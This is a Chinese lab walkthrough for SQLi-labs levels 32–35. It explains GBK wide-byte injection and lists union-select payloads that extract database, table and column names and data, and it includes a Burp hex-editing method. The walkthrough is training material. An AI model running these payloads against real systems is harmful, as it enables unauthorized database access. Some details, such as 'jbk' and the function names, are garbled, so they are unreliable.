sql-lab (32~35)包含对 宽字节注入的原理理解及注意事项(后持续更新)

2023-10-27

(32~35)包含对 宽字节注入的原理理解及注意事项

sql-lab-32

我们先对32关进行一个传参,发现:
请添加图片描述

1\'and 1=2 

在这里 \ 代表的意思是‘转义’,把后面的 ‘ 转义成了字符串,使单引号不再具有’作用‘,仅仅是’内容’而已,或者说这个单引号无法发挥和前后单引号闭合的作用,使后面的输入不被当作代码执行。

所以我们就有两个办法:

  1. 让 \ 失去作用
  2. 让 \ 消失

对与思路一,我们可尝试对 \ 进行转义,使其失去转义 ‘ 的作用。

宽字节这是按照思路二展开的

  1. 当某字符的大小为一个字节时,称其字符为窄字节.
  2. 当某字符的大小为两个字节时,称其字符为宽字节.
  3. 所有英文默认占一个字节,汉字占两个字节
  4. 常见的宽字节编码:GB2312,GBK,GB18030,BIG5,Shift_JIS等等

宽字节注入情况:

  1. 客户端、连接层、结果集 都是GBK编码
  2. 使用iconv进行字符集转换,将UTF-8转为GBK,同时,set names字符集为GBK。提交%e9%8c%a6即可。
  3. 使用set names UTF-8指定了UTF-8字符集,并且也使用转义函数进行转义。有时候,为了避免乱码,会将一些用户提交的GBK字符使用iconv函数(或者mb_convert_encoding)先转为UTF-8,然后再拼接入SQL语句。

**总结:**只要存在宽字节就可以进行宽字节注入。

在本题页面和数据库编码不一致,所以存在使用iconv等转换函数进行字符集转换的情况,而在本题 问题就出在这里。

例如:

当我们在使用url编码时那么php代码接受到%df%27** 的时候将用户提交上来的url编码的 %df%27 进行解读,发现%27是单引号的意思,所以就加上了转义字符\进行转义,于是就变成了%df%5c%27,这里的%5c就是\的url编码后的形式。问题就在这里形成了,当PHP代码执行数据库的时候,就会执行jbk编码的转换,在jbk编码表中%df%5c代表了一个全新的汉字,从而使得单引号逃出来。

前一个ascii码 > 128,两字符才能组和成汉字

在上述例子中其实不止一种注入形式,只要在最后的jbk编码中形成一种全新的汉字即可。(但在网上的前辈都是用同一种例子,这种传统还是传承来下来好。嘿嘿)

总结下本题的做法:

判断是否存在注入:?id=1 %df’and 1=1 – q ?id=1 %df’and 1=2 – q

判断字段数:?id=1 %df’ order by 3 – q

判断显错位:?id=-1 %df’ union select 1,2,3 – q

判断库名:?id=-1 %df’ union select 1,database(),3 – q

判断表名:?id=-1 %df’ union select 1,table_name ,3 from information_schema.tables where table_schema= database() – q

判断列名:?id=-1 %df’ union select 1,column_name ,3 from information_schema.columns where table_schema= database() and table_name=0x656d61696c73-- q

  • 在这里我们可以将emails转化为十六进制,从而取消对单引号的使用。**

mysql语句可以识别十六进制编码

  • 注:
    • 在这里不可以使用%df‘ 因为如果使用后 经过jbk编码 我们的SQL语句就会 变为:運’emalis運‘从而sql注入失败。

判断数据: ?id=-1 %df’ union select 1,id,3 from emails-- q

同时我们一下观察32关的php源码

function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash
      
    
    return $string;
}

发现有个新的函数我们没有见过:

    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          

preg_last_error 函数用于转义正则表达式字符。

正则表达式特殊字符有:’ . \ + * ? [ ^ ] $ ( ) { } = ! < > | : -

常见编码总结:

  • ASCII只对英文符号和英文字母做了编码,GB2312对英文符号,英文字母,汉字做了编码,UTF8对世界上所有的语言文字做了编码,所以,GB1212的字符包含了ASCII字符,UTF8包含了GB2312字符。

gbk与utf8的区别和比较

  • GBK的文字编码是双字节来表示的,UTF-8编码则是用以解决国际上字符的一种多字节编码。

  • GBK包含全部中文字符;UTF-8则包含全世界所有国家需要用到的字符。

  • GBK是在国家标准GB2312基础上扩容后兼容GB2312的标准(好像还不是国家标准)

  • UTF-8编码的文字可以在各国各种支持UTF8字符集的浏览器上显示。

    • 比如,如果是UTF8编码,则在外国人的英文IE上也能显示中文,而无需他们下载IE的中文语言支持包。 所以,对于英文比较多的论坛 ,使用GBK则每个字符占用2个字节,而使用UTF-8英文却只占一个字节。
  • UTF8是国际编码,它的通用性比较好,外国人也可以浏览论坛,GBK是国家编码,通用性比UTF8差,不过UTF8占用的数据库比GBK大。

    转载文献:

    (1条消息) 数据库选择编码方式(GBK、UTF-8)_JarryLiu 的专栏-CSDN博客_数据库的编码格式

注:

  1. 时代在发展,utf-8发展是大趋势,而且utf-8也可以避免很多字节造成的问题

  2. 谨慎使用iconv来转换字符串编码,很容易出现乱码(并非可以避免宽字节注入)。只要我们把前端html/js/css所有编码设置成gbk,mysql/php编码设置成gbk,就不会出现乱码问题。不用画蛇添足地去调用iconv转换编码,造成不必要的麻烦。

  3. 慎用宽字节编码!!!

sql-lab-33

三十三关的做法与三十二关的做法一模一样

判断字段数:?id=1 %df’ order by 3 – q

判断显错位:?id=-1 %df’ union select 1,2,3 – q

判断库名:?id=-1 %df’ union select 1,database(),3 – q

判断表名:?id=-1 %df’ union select 1,table_name ,3 from information_schema.tables where table_schema= database() – q

判断列名:?id=-1 %df’ union select 1,column_name ,3 from information_schema.columns where table_schema= database() and table_name=0x656d61696c73-- q

判断数据: ?id=-1 %df’ union select 1,id,3 from emails-- q

观察源码我们发现,唯一的区别是:

在过滤部分的php函数:

三十二关是手动写的,三十三关是使用的php函数进行过滤

unction check_addslashes($string)
{
    $string= addslashes($string);    
    return $string;
}

addslashes() 函数返回在预定义字符 之前*添加反斜杠的字符串。

预定义字符是:

  • 单引号(’)
  • 双引号(")
  • 反斜杠(\)
  • NULL

sql-lab-34

在34关我们看见了眼熟的反斜杠

请添加图片描述

所以我们尝试32关提到的宽字节注入,使用 %df 与 ‘ 结合起来

发现:

请添加图片描述
%df 与 \ 结合 被jbk 编码为汉字。

对比前面32关直接在url栏进行注入,我们的34关在输入框中进行注入。发现,在url栏中输入 %df 主要是以 16进制形式输入,而在输入框输入 %df 则是以普通字符串输入的。

url编码就是一个字符ascii码的十六进制。不过稍微有些变动,需要在前面加上“%”。比如“\”,它的ascii码是92,92的十六进制是5c,所以“\”的url编码就是%5c。

所以在这道题,我们可以:

  1. 使用burp suit
  2. 使用汉字的方式去绕过。

先讲解第一种方法:

输入a’or 1=2 – q,

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NZ8P7s3f-1642483813662)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220117162235866.png)]

对其进行抓包,在hex页面将a的16进制代码改为df(本质上是随便使用一个字符,在hex页面能够使df写到单引号前面,与 \ 结合形成新的汉字)

注:此处的df使16进制下的一个字符

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kmZ0mUC2-1642483813663)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220117162627135.png)]

之后对其放包即可

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DQ1qhfZ5-1642483813663)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220117163148849.png)]

第二种方法

本质与 %df 类似 有些汉字的编码为三个字节的编码 ,我们将三个字节拆开来看,前两个为一组,后面的那个和 \ 相编码为两字节绕过,从而使得单引号逃逸。

所以我们可以:

判断字段数:汉’or 1=1 order by 3 – q

判断显错位:汉’union select 1,2 – q

判断库名:汉’union select 1,database()-- q

判断表名:汉’union select 1,table_name from information_schema.tables where table_schema= database() – q

判断列名:汉’union select 1,column_name from information_schema.columns where table_schema= database() and table_name=0x656d61696c73-- q

判断数据: 汉’union select 1,id from emails-- q

sql-lab-35

按照前面几道题的思路,我们先尝试闭合,果不其然 发现 ’ 被注释掉了,然后我们尝试使用 %df ,使用burpsuit hex 或者汉字去绕过,但是,发现并没有什么用

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TbZOLKpH-1642483813664)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220118110846086.png)]

其实这道题在一开始就给了我们提示

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zGj9ac6A-1642483813664)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220118113449388.png)]

他说为什么要关心 addslashes() 函数 ,换句话说在这里这个php函数是没有用的

换句话说,在这里可能是没有闭合的。

我们尝试一下,发现确实是这样

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-p5PD31fw-1642483813665)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220118114039086.png)]

判断是否存在注入点:?id=1 and 1=1-- q

判断字段数:?id=1 order by 3-- q

判断显错位: ?id=-1 union select 1,2,3-- q

判断库名:?id=-1 union select 1,2,database() – q

判断表名:?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- q

​ ?id=-1 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 1,1-- q

判断列名:?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=0x656d61696c73 – q

​ ?id=-1 union select 1,column_name,3 from information_schema.columns where table_schema=database() and table_name=0x656d61696c73 limit 0,1-- q

注 :在使用 # 进行注释的时候 limit 0,1 不可以使用

因为在浏览器的url栏中 # 是锚点 转输过程中并不会一起带到后端

判断数据:?id=-1 union select 1,id ,3 from emails – q

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

sql-lab (32~35)包含对 宽字节注入的原理理解及注意事项(后持续更新) 的相关文章

  • 如何检测Mysql/innodb中的死锁?

    我知道在 Innodb 中使用事务时不可避免地会发生死锁 并且如果应用程序代码正确处理死锁 它们是无害的 正如手册所说 只需再试一次 所以我想知道 如何检测死锁 死锁是否会发出一些特殊的 mysql 错误号 如果重要的话 我正在使用 PHP
  • 如何在响应ajax codeigniter后停止执行其他控制器

    我想知道如何在响应输出 json 数据后停止执行函数和涉及的其他控制器 就我这里的情况而言 我只是打电话test 函数于dashboard控制器 In dashboard构造函数将执行MY Login library In MY Login
  • MYSQL - 使用逗号分隔字符串作为变量输入的存储过程

    我希望有人能够提供帮助 我已经创建了我的第一个存储过程 没什么花哨的 但是我遇到了问题 我想给它一个字符串输入 例如 1 2 3 4 5 然后它执行一个简单的操作SELECT FROM TABLE WHERE EAN IN VAR 所以存储
  • 如何使用 php 下载/打印页面的特定部分

    我有一个 HTML 页面如下 Lorem Ipsum is simply dummy text of the printing and typesetting industry Lorem Ipsum has been the indust
  • 是否可以使用 PHP 重定向发送 POST 数据?

    更新 这不是重复的如何使用 PHP 发送 POST 请求 https stackoverflow com questions 5647461 how do i send a post request with php 那里的解决方案对我不起
  • Symfony2 Assetic 和 Less Sourcemaps

    我不确定如何破解 assetic less 过滤器以输出源映射文件 我这里指的是LessFilterhttps github com kriswallsmith assetic blob master src Assetic Filter
  • 使用 preg_replace 仅替换第一个匹配项

    我有一个结构类似于以下的字符串 aba aaa cba sbd dga gad aaa cbz 该字符串每次都可能有点不同 因为它来自外部源 我只想替换第一次出现的 aaa 但其他人则不然 是否可以 可选的第四个参数预替换 http php
  • MYSQL从每个类别中随机选择一条记录

    我有一个数据库Items表看起来像这样 id name category int 有几十万条记录 每个item可以是 7 种不同的之一categories 对应于categories table id category 我想要一个从每个类别
  • mysql自动存储记录创建时间戳

    mysql 有什么方法可以在创建记录时自动将时间戳存储在记录行中 我试图使用时间戳 数据类型 和 current timestamp 作为默认值 但后来意识到每次更新记录时都会更新 我只需要一些可以存储创建时间戳的东西 Thanks Set
  • preg_match_all 查询仅显示有问题的外部组

    我无法弄清楚如何只显示 preg 查询的外部组级别 我会给你一个例子 preg match all start end input matches 这个输入start1 start2 2end 1end产生这个输出start1 start2
  • 使用 SSL 证书验证 Web 浏览器

    是否可以使用 ssl 证书对 Web 浏览器进行身份验证 假设我在应用程序中存储私钥 有什么方法可以从浏览器读取密钥并尝试基于该私钥进行身份验证 您可以使用 SSL TLS 客户端证书身份验证来对浏览器 用户进行身份验证 服务器必须请求客户
  • 在 PHP 中撤销 Google 访问令牌

    正如标题所示 我想以编程方式撤销授予的访问令牌 即在 PHP 中 我发现这个他们的网站 https developers google com identity protocols OAuth2WebServer tokenrevoke 但
  • 在 Wordpress 站点中进行 AJAX 调用时出现问题

    我在使用 Wordpress 站点功能的 AJAX 部分时遇到了一些问题 该功能接受在表单上输入的邮政编码 使用 PHP 函数来查找邮政编码是否引用特定位置并返回到该位置的永久链接 我的第一个问题是关于我构建的表单 现在我的表单操作是空白的
  • 通过触发器应用表的列权限

    现在 我有一个名为 Members 的表 其中包含内容 分为联系人数据 银行数据 现在 管理员应该能够创建 更新 删除用户 这些用户保存在另一个表中 该表只能访问管理员 用户应该获得自己的 mysql 用户帐户 管理员还应该能够设置权限 例
  • 跟踪用户何时点击浏览器上的后退按钮

    是否可以检测用户何时单击浏览器的后退按钮 我有一个 Ajax 应用程序 如果我可以检测到用户何时单击后退按钮 我可以显示适当的数据 任何使用 PHP JavaScript 的解决方案都是优选的 任何语言的解决方案都可以 只需要我可以翻译成
  • 表单提交后如何保留选择字段中的选定值?

    我有一个用于将票证上传到数据库的主页 我有一个选择字段 我想保留用户在提交表单之前选择的值 但它没有发生 这是我选择字段的代码
  • php 错误 fopen(): 文件名不能为空

    发送带有附件代码的电子邮件工作正常 最近我们已将文件传输到另一个托管服务器 idk 发生了什么 它显示以下错误 警告 fopen 第 106 行 home hugerecruitmetnt public html validatecva p
  • CURL 中的 data-urlencode 是什么意思?

    我搜索了很多个小时试图弄清楚 php curl 中的 data urlencode 是什么 我尝试过这个 但我认为这是不对的 xmlpost object1 file https www lob com goblue pdf 在文档中是 d
  • 一次播种多行 laravel 5

    我目前正在尝试为我的用户表播种 如果我像这样尝试 2 行 就会失败 如果我只使用单个数组而不是 users 数组内的 2 个数组来创建一些假数据 那么效果很好 我做错了什么 正确的方法是什么 class UserTableSeeder ex
  • 为什么 Composer 降级了我的包?

    php composer phar update这样做了 删除了 2 3 0 软件包并安装了整个 2 2 5 Zend Framework php composer phar update Loading composer reposito

随机推荐

  • 东北大学c++实验第七周

    问题描述 分别声明Teacher 教师 类和Cadre 干部 类 采用多重继承方式由这两个类派生出新类Teacher Cadre 教师兼干部 类 要求 1 在两个基类中都包含姓名 年龄 性别 地址 电话等数据成员 2 在Teacher类中还
  • C++实现的自动构造LL(1)文法的first集、follow集和预测分析表。

    qquad 要求 程序识别的文法需是LL 1 文法 具体输入格式说明见initGrammer 本例采用的文法如下
  • 硬件工程师笔试题——21大疆秋招

    给志同道合者 成长的方向 鄙人不才 答案有误 三思 三思
  • Flask配置MySQL数据库使用

    文章目录 一 创建Flask 二 安装sqlalchemy 三 创建配置文件config py 四 绑定配置文件 参考资料 一 创建Flask pip install flask 成功安装之后app py如下所示 from flask im
  • python常用算法题-python基本算法题(一)

    1 3位水仙花数计算 3位水仙花数 是指一个三位整数 其各位数字的3次方和等于该数本身 例如 ABC是一个 3位水仙花数 则 A的3次方 B的3次方 C的3次方 ABC 使用Python 输出所有的3位水仙花数 gt gt gt for i
  • 匹配中文的正则表达式

    u4e00 u9fa5 匹配中文 匹配注释 不严密
  • hexo配置GitHub/gitee双部署

    我的博客主页 https qingmuzhang gitee io GitHub作为国外站点实在是比较慢也不太稳定 所以决定把博客搬到国内的gitee上 提高访问速度 gitee创建仓库 1 首先登录gitee https gitee co
  • matlab做三次拉格朗日插值多项式_拉格朗日插值法函数使用问题

    拉格朗日差值法 在数值分析中 拉格朗日插值法是以法国十八世纪数学家约瑟夫 拉格朗日命名的一种多项式插值方法 概念一般地 若已知 在互不相同 n 1 个点 处的函数值 即该函数过 这n 1个点 则可以考虑构造一个过这n 1 个点的 次数不超过
  • MLX90614红外温度计介绍

    MLX90614红外温度计简介 MLX90614是一款红外非接触温度计 TO 39金属封装里同时集成了红外感应热电堆探测器芯片和信号处理专用集成芯片 由于集成了低噪声放大器 17位模数转换器和强大的数字信号处理单元 使得高精度和高分辨度的温
  • 使用Stream流对集合排序

    文章目录 0 写在前面 1 格式 1 1 介绍 1 2 单个属性排序格式 1 3 多个属性排序格式 1 4 注意事项 2 代码举例 0 写在前面 有一些业务需要对集合按照一些规则进行排序 本篇介绍如何用Stream 对集合进行升序或者降序操
  • 学python可以做什么副业-写代码做副业月入10K的方法都藏在这几个公众号里!

    同为程序员 为什么总有人比你优秀 优秀的人是抱团的 因此 还不快关注这些优秀的公众号 学习技术 汲取他们的理念 化为己用 Python 爱好者社区 python shequ 简介 Python 爱好者社区 这里有分类整理好的历史优秀文章数千
  • Altium Designer多图纸原理图关联设计方法

    文章转载 http articles e works net cn eda article86269 htm 图纸结构 包括层次式图纸的连接关系是纵向的 也就是某一层次的图纸只能和相邻的上级或下级有关系 另一种即扁平式图纸的连接关系是横向的
  • 尚硅谷_vue核心基础部分

    01 初始vue 1 想让vue工作 就必须创建一个Vue实例 且要传入一个配置对象 2 root容器里的代码依然符合html规范 只不过混入了一些特殊的Vue语法 3 root容器里的代码被称为 Vue模板 4 Vue实例和容器是一一对应
  • crmeb 标准版Window+phpstudy8安装教程(一)

    标准版Window phpstudy8安装教程 一 安装前配置 nginx mysql php7 3 4 一 安装集成环境 这里以phpstudy为例 下载PHPstudy8 0安装 记录安装的位置 D phpstudy pro 二 准备源
  • 阿里云修复 polkit pkexec 本地提权漏洞(CVE-2021-4034)

    该漏洞EXP已公开传播 漏洞利用成本极低 建议您立即关注并修复 如何修复呢 解决建议 1 无法升级软件修复包的 可使用以下命令删除pkexec的SUID bit权限来规避漏洞风险 chmod 0755 usr bin pkexec 示例 l
  • maven野生仓库

    mvnrepository com
  • 洛谷借教室

    之前写过 再过一遍其实不会 题目描述 在大学期间 经常需要租借教室 大到院系举办活动 小到学习小组自习讨论 都需要向学校申请借教室 教室的大小功能不同 借教室人的身份不同 借教室的手续也不一样 面对海量租借教室的信息 我们自然希望编程解决这
  • linux服务器桌面卡死,linux服务器显卡崩溃解决方案

    在登录界面出现分辨率特别大 整个图形界面特别大 并且怎么也登录不上去的情况时 对于这种情况 一般就是显卡驱动崩了的原因 所以我们可以首先检查显卡驱动是否有问题 nvidia smi 如果出现说驱动链接不上什么的问题 就是说明你的显卡驱动出现
  • 九、Linux系统编程:线程池编程

    9 线程池编程 创建线程要花费昂贵的资源和时间 如果任务来了才创建线程那么响应时间会变长 而且一个进程能创建的线程数有限 为了避免这些问题 在程序启动的时候就创建若干线程来响应处理 它们被称为线程池 里面的线程叫工作线程 9 1 概念 线程
  • sql-lab (32~35)包含对 宽字节注入的原理理解及注意事项(后持续更新)

    32 35 包含对 宽字节注入的原理理解及注意事项 sql lab 32 我们先对32关进行一个传参 发现 1 and 1 2 在这里 代表的意思是 转义 把后面的 转义成了字符串 使单引号不再具有 作用 仅仅是 内容 而已 或者说这个单引